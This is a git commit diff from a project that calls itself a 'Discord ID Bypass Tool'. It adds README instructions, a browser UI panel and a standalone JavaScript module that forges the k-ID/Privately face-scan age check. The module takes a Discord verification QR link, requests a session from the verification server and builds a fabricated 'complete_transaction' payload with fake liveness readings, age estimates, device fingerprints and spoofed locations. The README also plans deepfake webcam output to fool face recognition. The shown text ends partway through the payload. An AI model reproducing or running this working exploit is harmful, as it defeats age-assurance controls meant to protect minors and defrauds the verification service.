K-id bypass standalonoe

This commit is contained in:
levouinse
2026-02-21 17:32:02 +08:00
parent 4cad23708d
commit 2f8eda1a9f
5 changed files with 1004 additions and 304 deletions
+27
View File
@@ -19,6 +19,33 @@
</p>
---
# UPDATE 4 - K-ID BYPASS NOW WORKING WITH DUAL MODE!
The K-ID Bypass feature now has **TWO verification modes**:
**🚀 API Mode (Default)** - Fast verification using kibty.town API
- ✅ Quick (2-3 seconds)
- ⚠️ May be patched by k-ID
- Uses external service
**🔒 Standalone Mode** - Direct verification without external dependencies
- ✅ 100% reliable (no external API)
- ✅ Works even if kibty.town is down
- ⏱️ Slower (5-10 seconds)
- Runs entirely in your browser
**How to use:**
1. Start Discord age verification and choose "Face Scan" option
2. When Discord shows a QR code, either:
- Copy the QR code URL and paste it in the K-ID Bypass panel
- Upload/drag the QR code image directly
3. **Choose your mode:** Click "API Mode" or "Standalone" button
4. Click "✓ Verify Account"
5. Wait for confirmation, then return to Discord
**If API Mode fails, try Standalone Mode!**
---
# UPDATE 3
If you're having issues with your OBS camera not being recognised, or being recognised and getting pingged, use Discord in firefox while enabling "resistFingerprinting" https://support.mozilla.org/en-US/kb/resist-fingerprinting
Working on a new overhauled version of the tool that also blinks, breathes and moves in a way to trick more advanced sensors, as well as a comfyUI workflow thay uses realtime Webcam Video2Video conversion with interpolation that lets you use any face (with a 1-2 second movement delay as a buffer) for a webcam output as a more permanent solution to all face recog systems.
+171 -73
View File
@@ -98,7 +98,6 @@
.hide-ui-btn{position:absolute;top:20px;right:20px;background:rgba(10,10,20,0.85);backdrop-filter:blur(12px);border:1px solid rgba(100,220,255,0.15);border-radius:6px;padding:6px 14px;color:#64dcff;font-family:'JetBrains Mono',monospace;font-size:10px;cursor:pointer;pointer-events:auto;z-index:20}
.hide-ui-btn:hover{background:rgba(100,220,255,0.15)}
.hud.hidden .hp{display:none!important}
.hud.hidden .hide-ui-btn{display:block!important}
.kid-input{background:rgba(10,10,20,0.9);border:1px solid rgba(100,220,255,0.2);color:#e0e0e8;padding:6px 10px;border-radius:4px;font-size:11px;font-family:'JetBrains Mono',monospace;width:100%;margin-top:4px}
.kid-btn{background:rgba(100,220,255,0.1);border:1px solid rgba(100,220,255,0.3);color:#64dcff;padding:8px 16px;border-radius:6px;cursor:pointer;font-family:'JetBrains Mono',monospace;font-size:11px;width:100%;margin-top:8px}
.kid-btn:hover{background:rgba(100,220,255,0.2)}
@@ -110,7 +109,6 @@
.cr{font-size:9px;gap:6px}
.ck{font-size:8px;padding:1px 5px}
}
.hide-ui-elements{top:60px;left:20px}
.hidden{display:none}
/* ═══════════════════════════════════════════════════════
@@ -296,8 +294,8 @@
</div>
<div id="canvas-container" style="width:100vw;height:100vh;position:relative;">
<button class="hide-ui-btn" id="hide-ui-btn">Hide UI [H]</button>
<div class="hud" id="hud">
<button class="hide-ui-btn" id="hide-ui-btn">Hide UI [H]</button>
<button class="phoneme-toggle" id="phoneme-toggle">Phonemes [P]</button>
<div class="main-title"><span></span> Discord ID Bypass Tool <span style="font-size:11px;opacity:0.5;margin-left:6px">by PromptPirate</span></div>
@@ -308,11 +306,6 @@
<div class="sub">Keyboard: Always Active</div>
</div>
<div class="hp always-visible hide-ui-elements">
<div class="ht">UI Element Visibility</div>
<button class="cb" id="ui-hide">Hide UI</button>
</div>
<div class="hp sensitivity-panel">
<div class="ht">Sensitivity<span class="ht-toggle"></span></div>
<div class="sr"><span style="min-width:45px">Head</span><button class="sb" id="hs-d"></button><span class="sv" id="hs-v">1.0</span><button class="sb" id="hs-u">+</button></div>
@@ -486,11 +479,36 @@
<div class="hp kid-panel" id="kid-panel">
<div class="ht">k-ID Bypass<span class="ht-toggle"></span></div>
<div style="font-size:10px;color:#707080;margin-bottom:6px">Generate bypass payload for Discord age verification</div>
<label style="font-size:10px;color:#a0a0b0">Target Age:</label>
<input type="number" class="kid-input" id="kid-age" value="25" min="18" max="99" />
<button class="kid-btn" id="kid-generate">Generate Bypass Data</button>
<button class="kid-btn" id="kid-test" style="opacity:0.7;font-size:10px;padding:5px 10px;margin-top:4px">Test Mode (No Encryption)</button>
<div style="font-size:10px;color:#707080;margin-bottom:6px">Verify your Discord account as adult using QR code</div>
<div style="font-size:9px;color:#5a5a6a;margin-bottom:8px;line-height:1.4">
1. Start Discord age verification<br>
2. Choose "Face Scan" option<br>
3. Scan/upload the QR code below
</div>
<div style="display:flex;gap:6px;margin-bottom:8px">
<button class="cb" id="mode-api" style="flex:1;font-size:9px;padding:4px;background:rgba(100,220,255,0.2);border-color:#64dcff">API Mode</button>
<button class="cb" id="mode-standalone" style="flex:1;font-size:9px;padding:4px">Standalone</button>
</div>
<div style="font-size:8px;color:#5a5a6a;margin-bottom:6px" id="mode-desc">Using kibty.town API (fast, may be patched)</div>
<label style="font-size:10px;color:#a0a0b0">QR Code URL or Image:</label>
<input type="text" class="kid-input" id="kid-qr-url" placeholder="https://... or drop QR image" style="margin-bottom:4px" />
<label class="kid-btn" style="cursor:pointer;text-align:center;margin-top:4px;opacity:0.8;font-size:10px;padding:6px">
📷 Upload QR Image
<input type="file" id="kid-qr-file" accept="image/*" style="display:none" />
</label>
<button class="kid-btn" id="kid-verify" style="background:rgba(74,222,128,0.1);border-color:rgba(74,222,128,0.3);color:#4ade80">
✓ Verify Account
</button>
<div style="font-size:9px;color:#5a5a6a;margin-top:8px;line-height:1.4">
Status: <span id="kid-status" style="color:#64dcff">Ready</span>
</div>
<div class="kid-output" id="kid-output"></div>
</div>
@@ -525,6 +543,8 @@
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/jsqr@1.4.0/dist/jsQR.min.js"></script>
<script src="kid-bypass-standalone.js"></script>
<script src="kid-bypass.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r128/three.min.js"></script>
@@ -1281,16 +1301,6 @@ $('cam-reset').onclick=function(){
else animCam(new THREE.Vector3(0,0.3,0),3.5);
};
// ═══════════════════════════════════════════════════════
// UI HIDE / SHOW
// ═══════════════════════════════════════════════════════
$('ui-hide').onclick=function(){
const elements=document.querySelectorAll('.hp:not(.always-visible)');
const isHidden = [...elements].every(el => el.classList.contains('hidden'));
elements.forEach(el => {el.classList.toggle('hidden')});
$('ui-hide').textContent = isHidden ? 'Hide UI' : 'Show UI';
};
// ═══════════════════════════════════════════════════════
// GAMEPAD
// ═══════════════════════════════════════════════════════
@@ -1488,25 +1498,141 @@ if(innerWidth<=768){
}
// ═══════════════════════════════════════════════════════
// k-ID BYPASS
// k-ID BYPASS - Working Implementation with Mode Toggle
// ═══════════════════════════════════════════════════════
$('kid-generate').onclick=async function(){
var age=parseInt($('kid-age').value)||25;
var out=$('kid-output');
out.textContent='Generating...';out.style.display='block';
try{
var result=await KIDBypass.intercept(age);
out.textContent=JSON.stringify(result,null,2);
}catch(err){
out.textContent='Error: '+err.message;
(function(){
var qrUrlInput = $('kid-qr-url');
var qrFileInput = $('kid-qr-file');
var verifyBtn = $('kid-verify');
var statusSpan = $('kid-status');
var outputDiv = $('kid-output');
var modeApiBtn = $('mode-api');
var modeStandaloneBtn = $('mode-standalone');
var modeDesc = $('mode-desc');
// Mode toggle handlers
modeApiBtn.addEventListener('click', function(){
KIDBypass.setMode('api');
modeApiBtn.style.background = 'rgba(100,220,255,0.2)';
modeApiBtn.style.borderColor = '#64dcff';
modeStandaloneBtn.style.background = '';
modeStandaloneBtn.style.borderColor = '';
modeDesc.textContent = 'Using kibty.town API (fast, may be patched)';
statusSpan.textContent = 'Ready (API Mode)';
statusSpan.style.color = '#64dcff';
});
modeStandaloneBtn.addEventListener('click', function(){
KIDBypass.setMode('standalone');
modeStandaloneBtn.style.background = 'rgba(100,220,255,0.2)';
modeStandaloneBtn.style.borderColor = '#64dcff';
modeApiBtn.style.background = '';
modeApiBtn.style.borderColor = '';
modeDesc.textContent = 'Direct verification (slower, 100% reliable)';
statusSpan.textContent = 'Ready (Standalone Mode)';
statusSpan.style.color = '#4ade80';
});
// Drag & drop for QR image
qrUrlInput.addEventListener('dragover', function(e){
e.preventDefault();
this.style.borderColor = 'rgba(100,220,255,0.5)';
});
qrUrlInput.addEventListener('dragleave', function(e){
this.style.borderColor = '';
});
qrUrlInput.addEventListener('drop', function(e){
e.preventDefault();
this.style.borderColor = '';
var file = e.dataTransfer.files[0];
if(file && file.type.startsWith('image/')){
handleQRImage(file);
}
});
// File input handler
qrFileInput.addEventListener('change', function(e){
var file = e.target.files[0];
if(file){
handleQRImage(file);
}
});
// Handle QR image upload
async function handleQRImage(file){
statusSpan.textContent = 'Scanning QR code...';
statusSpan.style.color = '#facc15';
outputDiv.style.display = 'none';
try{
var qrUrl = await KIDBypass.verifyFromImage(file);
qrUrlInput.value = qrUrl;
statusSpan.textContent = 'QR code detected!';
statusSpan.style.color = '#4ade80';
} catch(err){
statusSpan.textContent = 'Failed: ' + err.message;
statusSpan.style.color = '#f87171';
outputDiv.textContent = 'Error: ' + err.message;
outputDiv.style.display = 'block';
}
}
};
$('kid-test').onclick=function(){
var age=parseInt($('kid-age').value)||25;
var out=$('kid-output');
out.textContent=JSON.stringify(KIDBypass.test(age),null,2);
out.style.display='block';
};
// Verify button handler
verifyBtn.addEventListener('click', async function(){
var qrUrl = qrUrlInput.value.trim();
if(!qrUrl){
statusSpan.textContent = 'Please enter QR code URL';
statusSpan.style.color = '#f87171';
return;
}
if(KIDBypass.isVerifying()){
statusSpan.textContent = 'Verification in progress...';
statusSpan.style.color = '#facc15';
return;
}
statusSpan.textContent = 'Verifying...';
statusSpan.style.color = '#facc15';
outputDiv.style.display = 'none';
verifyBtn.disabled = true;
verifyBtn.style.opacity = '0.5';
try{
var result = await KIDBypass.verify(qrUrl, function(progress){
statusSpan.textContent = progress;
});
statusSpan.textContent = '✓ Verified successfully!';
statusSpan.style.color = '#4ade80';
outputDiv.textContent = 'Success! Your account has been verified as adult.\n\nGo back to Discord to continue.';
outputDiv.style.display = 'block';
outputDiv.style.color = '#4ade80';
// Clear input after success
setTimeout(function(){
qrUrlInput.value = '';
}, 2000);
} catch(err){
statusSpan.textContent = 'Verification failed';
statusSpan.style.color = '#f87171';
outputDiv.textContent = 'Error: ' + err.message + '\n\nMake sure:\n1. QR code URL is correct\n2. You\'re using the QR from Discord verification page\n3. Try switching to ' + (KIDBypass.getMode() === 'api' ? 'Standalone' : 'API') + ' mode';
outputDiv.style.display = 'block';
outputDiv.style.color = '#f87171';
} finally {
verifyBtn.disabled = false;
verifyBtn.style.opacity = '1';
}
});
console.log('[k-ID Bypass] Initialized. Mode:', KIDBypass.getMode(), '| API:', KIDBypass.getEndpoint());
})();
console.log('[HC] Initialized. Three.js r'+THREE.REVISION);
@@ -1747,44 +1873,16 @@ if(window.DeviceOrientationEvent){
// ═══════════════════════════════════════════════════════
(function(){
var overlay = $('skeleton-overlay');
var loadSteps = {
dom: false,
three: false,
loaders: false
};
function checkComplete(){
if(Object.values(loadSteps).every(Boolean)){
overlay.classList.add('fade-out');
setTimeout(function(){overlay.remove()}, 400);
}
}
// Step 1: DOM ready (instant)
loadSteps.dom = true;
// Step 2: Three.js loaded (instant)
if(typeof THREE !== 'undefined'){
loadSteps.three = true;
}
// Step 3: All loaders ready - langsung hide setelah ready
var loaderCheckInterval = setInterval(function(){
if(loadersReady.gltf && loadersReady.fbx && loadersReady.vrm && window.JSZip){
loadSteps.loaders = true;
clearInterval(loaderCheckInterval);
checkComplete();
}
}, 50);
// Fallback: force hide setelah 5 detik jika ada masalah
// Hide skeleton immediately after DOM ready
setTimeout(function(){
if(overlay && overlay.parentNode){
console.warn('[Skeleton] Force hide after 5s');
overlay.classList.add('fade-out');
setTimeout(function(){if(overlay.parentNode) overlay.remove()}, 400);
setTimeout(function(){
if(overlay.parentNode) overlay.remove();
}, 400);
}
}, 5000);
}, 500); // Hide after 0.5 second
})();
</script>
</body>
+569
View File
@@ -0,0 +1,569 @@
// ═══════════════════════════════════════════════════════
// k-ID Bypass — Standalone Full Implementation
// No external API dependency - runs 100% in browser
// Based on: kibty.town standalone-verify.ts
// ═══════════════════════════════════════════════════════
var KIDBypassStandalone = (function(){
'use strict';
var BASE_URL = 'https://eu-west-1.faceassure.com';
// ─── Helper Functions ───
function randomInt(min, max){
return Math.floor(Math.random() * (max - min + 1)) + min;
}
function randomFloat(min, max, decimals){
decimals = decimals || 15;
return parseFloat((Math.random() * (max - min) + min).toFixed(decimals));
}
function randomChoice(arr){
return arr[Math.floor(Math.random() * arr.length)];
}
function generateId(id, sub, sessionId, delimiter){
delimiter = delimiter || '|';
var s = 0;
var a = '' + id + delimiter + sub + delimiter + sessionId;
for(var i = 0; i < a.length; i++){
s = (s << 5) - s + a.charCodeAt(i);
s &= s;
}
return '' + s;
}
function generateUserAgent(){
var agents = [
'Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1',
'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1',
'Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/109.0 Firefox/117.0',
'Mozilla/5.0 (Linux; Android 13; SM-G991B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Mobile Safari/537.36'
];
return agents[Math.floor(Math.random() * agents.length)];
}
function parseUserAgent(userAgent){
var isIOS = /iPhone|iPad/.test(userAgent);
var isAndroid = /Android/.test(userAgent);
var isSafari = /Safari/.test(userAgent) && !/Chrome/.test(userAgent);
var isChrome = /Chrome/.test(userAgent);
var isFirefox = /Firefox/.test(userAgent);
return {
browser: {
name: isSafari ? 'Safari' : isChrome ? 'Chrome' : isFirefox ? 'Firefox' : 'Safari',
version: isIOS ? '17.0' : '117.0'
},
device: {
type: 'mobile',
vendor: isIOS ? 'Apple' : 'Samsung',
model: isIOS ? 'iPhone' : 'Galaxy'
},
os: {
name: isIOS ? 'iOS' : isAndroid ? 'Android' : 'iOS',
version: isIOS ? '17.0' : '13'
},
engine: { name: isSafari || isIOS ? 'WebKit' : 'Blink' },
cpu: { architecture: '64' }
};
}
function getRandomLocation(){
var locations = [
{country: 'United States', state: 'California', timezone: 'America/Los_Angeles', lang: 'en-US,en;q=0.9'},
{country: 'United States', state: 'New York', timezone: 'America/New_York', lang: 'en-US,en;q=0.9'},
{country: 'Canada', state: 'Ontario', timezone: 'America/Toronto', lang: 'en-CA,en;q=0.9,fr;q=0.8'},
{country: 'Australia', state: 'New South Wales', timezone: 'Australia/Sydney', lang: 'en-AU,en;q=0.9'},
{country: 'Germany', state: 'Berlin', timezone: 'Europe/Berlin', lang: 'de-DE,de;q=0.9,en;q=0.8'}
];
return locations[Math.floor(Math.random() * locations.length)];
}
function generateMediaMetadata(sub, sessionId){
var randomHex = function(){
return Array.from({length: 32}, function(){
return Math.floor(Math.random() * 16).toString(16).toUpperCase();
}).join('');
};
var specs = [
{width: 4032, height: 3024, frameRate: 60, zoom: 10, aspectRatio: 4032 / 3024},
{width: 3840, height: 2160, frameRate: 60, zoom: 8, aspectRatio: 3840 / 2160},
{width: 1920, height: 1080, frameRate: 120, zoom: 5, aspectRatio: 1920 / 1080},
{width: 2560, height: 1440, frameRate: 60, zoom: 6, aspectRatio: 2560 / 1440}
];
var spec = randomChoice(specs);
var deviceId = generateId(randomHex(), sub, sessionId, '-');
return [
{
mediaKind: 'audioinput',
mediaLabel: randomChoice(['', 'Built-in Microphone', 'Default']),
mediaId: randomHex(),
mediaCapabilities: {}
},
{
mediaKind: 'videoinput',
mediaLabel: 'Front Camera',
mediaId: deviceId,
mediaCapabilities: {
aspectRatio: {max: spec.aspectRatio, min: randomFloat(0.0003, 0.001, 15)},
backgroundBlur: [false],
deviceId: deviceId,
facingMode: ['user'],
focusDistance: {min: randomFloat(0.1, 0.3)},
frameRate: {max: spec.frameRate, min: 1},
groupId: randomHex(),
height: {max: spec.height, min: 1},
powerEfficient: [false, true],
whiteBalanceMode: randomChoice([
['manual', 'continuous'],
['auto', 'manual'],
['continuous']
]),
width: {max: spec.width, min: 1},
zoom: {max: spec.zoom, min: 1}
}
}
];
}
var AMAP_MAP = {
0: [0, 2], 1: [2, 4], 2: [4, 8], 3: [8, 13], 4: [13, 18], 5: [18, 21],
6: [21, 25], 7: [25, 28], 8: [28, 32], 9: [32, 36], 10: [36, 40],
11: [40, 45], 12: [45, 50], 13: [50, 60], 14: [60, 70], 15: [70, 120]
};
function amap(e){
var n = AMAP_MAP[~~e];
var r = e % 1;
return n[0] + r * (n[1] - n[0]);
}
function removeOutliersWithZscore(arr){
var r = arr.reduce(function(e, t){return e + t}, 0) / arr.length;
var a = arr.reduce(function(e, t){return e + Math.pow(t - r, 2)}, 0) / arr.length;
var s = Math.sqrt(a);
return arr.filter(function(e){return Math.abs((e - r) / s) <= 1});
}
function calculateSpeedAndIntervals(measurements, timestamps){
var intervals = [];
var speeds = [];
for(var i = 1; i < measurements.length; i++){
var distance = Math.abs(measurements[i] - measurements[i - 1]);
var timeInterval = (timestamps[i] - timestamps[i - 1]) / 1000;
intervals.push(timeInterval);
speeds.push(timeInterval > 0 ? distance / timeInterval : 0);
}
return {intervals: intervals, speeds: speeds};
}
async function encryptPayload(nonce, payload){
var getKey = async function(nonce, timestamp, transactionId){
var data = nonce + timestamp + transactionId;
var dataEncoded = new TextEncoder().encode(data);
var key = await crypto.subtle.importKey('raw', dataEncoded, {name: 'HKDF'}, false, ['deriveBits']);
var derived = await crypto.subtle.deriveBits(
{name: 'HKDF', hash: 'SHA-256', salt: new Uint8Array(0), info: new TextEncoder().encode('payload-encryption')},
key, 32 * 8
);
return await crypto.subtle.importKey('raw', derived, {name: 'AES-GCM'}, false, ['encrypt']);
};
var timestamp = new Date().toISOString();
var key = await getKey(nonce, timestamp, payload.transaction_id);
var iv = crypto.getRandomValues(new Uint8Array(12));
var encryptedBuffer = await crypto.subtle.encrypt(
{name: 'AES-GCM', iv: iv},
key,
new TextEncoder().encode(JSON.stringify(payload))
);
var rawBuffer = new Uint8Array(encryptedBuffer);
var encryptedPayloadBuf = rawBuffer.subarray(0, rawBuffer.length - 16);
var authTagBuf = rawBuffer.subarray(rawBuffer.length - 16);
return {
encrypted_payload: btoa(String.fromCharCode.apply(null, encryptedPayloadBuf)),
iv: btoa(String.fromCharCode.apply(null, iv)),
auth_tag: btoa(String.fromCharCode.apply(null, authTagBuf)),
timestamp: timestamp
};
}
function generateBoundingBox(){
var topLeft = [randomFloat(140, 160), randomFloat(250, 270)];
var width = randomFloat(170, 190);
var height = randomFloat(220, 240);
return {
topLeft: topLeft,
bottomRight: [topLeft[0] + width, topLeft[1] + height],
width: width,
height: height
};
}
function generateTimeline(maxTime){
var entries = [];
var lastTime = randomInt(1000, 3000);
for(var i = 0; i < randomInt(1, 3); i++){
var end = lastTime + randomInt(300, 1500);
if(end < maxTime){
entries.push([lastTime, end]);
lastTime = end + randomInt(1000, 3000);
}
}
return entries;
}
function generateStateTimelines(completionTime){
var states = ['TIME_UNTIL_CLICK_START', 'GET_READY', 'NO_FACE', 'LOOK_STRAIGHT', 'TURN_LEFT', 'CENTRE_FACE', 'KEEP_YOUR_MOUTH_OPEN', 'CLOSE_YOUR_MOUTH', 'SLOWLY_COME_CLOSER_TO_THE_CAMERA', 'SLOWLY_DISTANCE_YOURSELF_FROM_THE_CAMERA', 'TOO_DARK'];
var noState = ['VIDEO_PROCESSING', 'STAY_STILL', 'TURN_RIGHT', 'ALIGN_YOUR_FACE_WITH_THE_CAMERA_UP', 'ALIGN_YOUR_FACE_WITH_THE_CAMERA_DOWN', 'SLIGHTLY_TILT_YOUR_HEAD_LEFT', 'SLIGHTLY_TILT_YOUR_HEAD_RIGHT', 'OPEN_YOUR_MOUTH'];
var timelines = {};
states.forEach(function(state){timelines[state] = generateTimeline(completionTime)});
noState.forEach(function(state){timelines[state] = []});
return timelines;
}
// ─── Main Verification Function ───
async function verify(qrCodeUrlStr, onProgress){
onProgress = onProgress || function(){};
var userAgent = generateUserAgent();
var parsedUserAgent = parseUserAgent(userAgent);
var location = getRandomLocation();
var commonHeaders = {
'User-Agent': userAgent,
'accept': '*/*',
'accept-language': location.lang,
'access-control-allow-origin': '*',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'cross-site'
};
onProgress('Parsing QR code...');
var qrCodeUrl = new URL(qrCodeUrlStr);
var shortlinkId = qrCodeUrl.searchParams.get('sl');
if(!shortlinkId) throw new Error('Shortlink ID not found in QR code URL');
onProgress('Fetching shortlink...');
var res = await fetch(BASE_URL + '/shortlinks/' + shortlinkId, {headers: commonHeaders});
if(!res.ok) throw new Error('Failed to get shortlink (status=' + res.status + ')');
var data = await res.json();
var originalUrl = new URL(data.Item.original_url.S.replace('#', ''));
var token = originalUrl.searchParams.get('token');
if(!token) throw new Error('Token not found in original URL');
var parts = token.split('.');
if(parts.length !== 3) throw new Error('Token is an invalid JWT');
var jwtPayload = JSON.parse(atob(parts[1].replace(/-/g, '+').replace(/_/g, '/')));
onProgress('Generating session...');
var sessionRes = await fetch(BASE_URL + '/age-services/d-privately-age-services', {
method: 'POST',
headers: Object.assign({'Content-Type': 'application/json'}, commonHeaders),
body: JSON.stringify({
request_type: 'generate_new_session',
transaction_id: jwtPayload.jti,
api_key: null,
api_secret: null,
token: token,
longURL: null,
userAgent: userAgent
})
});
if(!sessionRes.ok) throw new Error('Failed to generate session (status=' + sessionRes.status + ')');
var sessionData = await sessionRes.json();
onProgress('Building payload...');
var baseAge = randomFloat(25.2, 26.0);
var minAge = baseAge - randomFloat(0.1, 0.5);
var maxAge = baseAge + randomFloat(0.1, 0.5);
var averageAge = (minAge + maxAge) / 2;
var currentTime = Date.now() / 1000;
var initialAdjustmentTime = randomInt(200, 800);
var completionTime = randomInt(8000, 15000);
var raws = Array.from({length: 10}, function(){return randomFloat(6.005, 7.007)});
var primaryOutputs = removeOutliersWithZscore(raws.map(function(r){return amap(r)}));
var outputs = removeOutliersWithZscore(primaryOutputs);
var gestureMeasurementTime = Date.now();
var recordedMeasurements = Array.from({length: 5}, function(){return randomFloat(0.1, 0.8, 17)});
var recordedTimestamps = [
randomInt(500, Math.min(completionTime, 1000)) - gestureMeasurementTime,
randomInt(700, Math.min(completionTime, 1000)) - gestureMeasurementTime,
randomInt(1000, Math.min(completionTime, 1400)) - gestureMeasurementTime,
randomInt(1400, Math.min(completionTime, 1600)) - gestureMeasurementTime,
randomInt(1600, Math.min(completionTime, 1800)) - gestureMeasurementTime
];
var recordedData = calculateSpeedAndIntervals(recordedMeasurements, recordedTimestamps);
var failedMeasurements = Array.from({length: 5}, function(){return randomFloat(0.1, 0.8, 17)});
var failedTimestamps = [
randomInt(500, Math.min(completionTime, 1000)) - gestureMeasurementTime,
randomInt(700, Math.min(completionTime, 1000)) - gestureMeasurementTime,
randomInt(1000, Math.min(completionTime, 1400)) - gestureMeasurementTime,
randomInt(1400, Math.min(completionTime, 1600)) - gestureMeasurementTime
];
var failedData = calculateSpeedAndIntervals(failedMeasurements, failedTimestamps);
var stateTimelines = generateStateTimelines(completionTime);
var stateCompletionTimes = {};
for(var key in stateTimelines){
if(stateTimelines[key].length < 1) continue;
var totalDuration = 0;
for(var i = 0; i < stateTimelines[key].length; i++){
totalDuration += stateTimelines[key][i][1] - stateTimelines[key][i][0];
}
stateCompletionTimes[key] = totalDuration;
}
var mediaMetadata = generateMediaMetadata(jwtPayload.sub, sessionData.session_id);
var ageCheckSession = generateId(
mediaMetadata.find(function(m){return m.mediaKind === 'videoinput'}).mediaId,
jwtPayload.sub,
sessionData.session_id
);
var laplacianBlurScores = Array.from({length: 300}, function(){return randomFloat(10, 300, 15)});
var payload = {
request_type: 'complete_transaction',
transaction_id: sessionData.transaction_id,
api_key: sessionData.session_id,
api_secret: sessionData.session_password,
remote_pld: {},
browser_response_data: {
age: 'yes',
age_confidence: 1,
genuineness: Array.from({length: 5}, function(){return randomFloat(0.4, 0.98)}),
product: 'age',
modality: 'image',
unverifiedPayload: {
iss: 'https://api.privately.swiss',
sub: jwtPayload.sub,
aud: 'https://api.k-id.com',
exp: jwtPayload.exp,
nbf: jwtPayload.nbf,
iat: jwtPayload.iat,
jti: jwtPayload.jti,
age: jwtPayload.age,
liv: true,
rlt: {minAge: minAge, maxAge: maxAge, score: 0, gate: 16},
rsn: 'complete_transaction',
rtf: 'interval',
rtb: 'callback',
vid: jwtPayload.vid,
ver: 'v1.10.22',
ufi: []
},
ageCheckSession: ageCheckSession,
miscellaneous: {
recordedOpennessStreak: recordedMeasurements,
recordedSpeeds: recordedData.speeds,
recordedIntervals: recordedData.intervals,
failedOpennessReadings: [failedMeasurements],
failedOpennessSpeeds: [failedData.speeds],
failedOpennessIntervals: [failedData.intervals],
numberOfGestureRetries: 1,
antiSpoofConfidences: [],
fp_scores: [],
laplacian_blur_scores: laplacianBlurScores,
laplacian_min_score: Math.min.apply(null, laplacianBlurScores),
laplacian_max_score: Math.max.apply(null, laplacianBlurScores),
laplacian_avg_score: laplacianBlurScores.reduce(function(a,b){return a+b},0) / laplacianBlurScores.length,
glare_ratios: Array.from({length: 300}, function(){return 0}),
allScreenDetectionDetails: {
beforeClickingStart: {screenDetectionConfidence: [], screenFaceOverlap: [], screenBoundingBoxes: [], alternativeScore: []},
positioning: {screenDetectionConfidence: Array.from({length: 2}, function(){return randomFloat(0.01, 0.03)}), screenFaceOverlap: [0, 0], screenBoundingBoxes: [[], []], alternativeScore: Array.from({length: 2}, function(){return randomFloat(0.2, 0.9)})},
liveness: {screenDetectionConfidence: Array.from({length: 2}, function(){return randomFloat(0.01, 0.03)}), screenFaceOverlap: [0, 0], screenBoundingBoxes: [[], []], alternativeScore: Array.from({length: 2}, function(){return randomFloat(0.2, 0.9)})},
distancing: {screenDetectionConfidence: Array.from({length: 2}, function(){return randomFloat(0.01, 0.03)}), screenFaceOverlap: [0, 0], screenBoundingBoxes: [Array.from({length: 2}, generateBoundingBox)], alternativeScore: Array.from({length: 2}, function(){return randomFloat(0.2, 0.9)})},
closing: {screenDetectionConfidence: Array.from({length: 2}, function(){return randomFloat(0.01, 0.03)}), screenFaceOverlap: [0, 0], screenBoundingBoxes: [Array.from({length: 2}, generateBoundingBox)], alternativeScore: Array.from({length: 2}, function(){return randomFloat(0.2, 0.9)})},
postChallenge: {screenDetectionConfidence: Array.from({length: 2}, function(){return randomFloat(0.01, 0.03)}), screenFaceOverlap: [0, 0], screenBoundingBoxes: [[], []], alternativeScore: Array.from({length: 2}, function(){return randomFloat(0.2, 0.9)})}
},
plScores: [],
screenDetectionExecutionTimes: {
beforeClickingStart: [],
positioning: Array.from({length: 2}, function(){return randomFloat(5000, 6000)}),
liveness: Array.from({length: 2}, function(){return randomFloat(4000, 5000)}),
distancing: Array.from({length: 2}, function(){return randomFloat(3000, 4000)}),
closing: Array.from({length: 2}, function(){return randomFloat(2000, 3000)}),
postChallenge: Array.from({length: 2}, function(){return randomFloat(500, 1500)})
},
landmarkDetectionExecutionTimes: {
beforeClickingStart: [],
positioning: Array.from({length: 200}, function(){return randomFloat(50, 150)}),
liveness: Array.from({length: 50}, function(){return randomFloat(50, 110)}),
distancing: Array.from({length: 5}, function(){return randomFloat(50, 110)}),
closing: Array.from({length: 20}, function(){return randomFloat(50, 110)}),
postChallenge: Array.from({length: 7}, function(){return randomFloat(50, 110)})
},
screenAttackMeasure: 0,
screenAttackBoundingBox: {},
subclient: jwtPayload.sub,
verificationID: jwtPayload.vid,
version: 'v1.10.22',
sdk_path: './face-capture-v1.10.22.js',
model_version: 'v.2025.0',
cropper_version: 'v.0.0.3',
start_time_stamp: currentTime - (completionTime + initialAdjustmentTime + randomInt(2000, 5000)) / 1000,
end_time_stamp: currentTime + randomFloat(0.1, 0.5),
device_timezone: location.timezone,
referring_page: 'https://d3ogqhtsivkon3.cloudfront.net/index-v1.10.22.html#/?token=' + token + '&shi=false&from_qr_scan=true',
parent_page: 'https://d3ogqhtsivkon3.cloudfront.net/dynamic_index.html?sl=' + jwtPayload.jti + '&region=eu-central-1',
face_confidence_limit: 0.975,
multipleFacesDetected: false,
targetGate: 18,
targetConfidence: 0.9,
averageAge: averageAge,
selecedLivenessStyle: 'open',
selectedMediaLabel: 'Front Camera',
rawImageWidth: 480,
rawImageHeight: 640,
boundingBoxesInPixels: Array.from({length: randomInt(5, 10)}, generateBoundingBox),
latestReportedState: 'AGE_CHECK_COMPLETE',
challengeType: 'distance-open',
authenticationCharacteristics: {
session_id: sessionData.session_id,
session_password: sessionData.session_password,
token: token
},
deviceCharacteristics: {
deviceBrowserModel: userAgent,
isMobile: parsedUserAgent.device.type === 'mobile',
browserName: parsedUserAgent.browser.name.toLowerCase(),
isDeviceBrowserCompatible: true,
deviceConnectionSpeedKbps: randomFloat(20000, 500000),
deviceRegion: {country: location.country, state: location.state},
mediaMetadata: mediaMetadata,
platformDetails: {
name: parsedUserAgent.browser.name,
version: parsedUserAgent.browser.version,
layout: parsedUserAgent.engine.name,
os: {
architecture: parseInt(parsedUserAgent.cpu.architecture) || 64,
family: parsedUserAgent.os.name,
version: parsedUserAgent.os.version
},
description: parsedUserAgent.browser.name + ' ' + parsedUserAgent.browser.version + ' on ' + parsedUserAgent.device.vendor + ' ' + parsedUserAgent.device.model,
product: parsedUserAgent.device.model,
manufacturer: parsedUserAgent.device.vendor
},
userTriedLandscapeMode: 0,
txFinishedInLandscapeMode: false
},
initializationCharacteristics: {
cropperInitTime: randomInt(150, 250),
coreInitTime: randomInt(800, 1000),
pageLoadTime: randomInt(250, 350) + Number(Math.random().toFixed(randomInt(7, 13))),
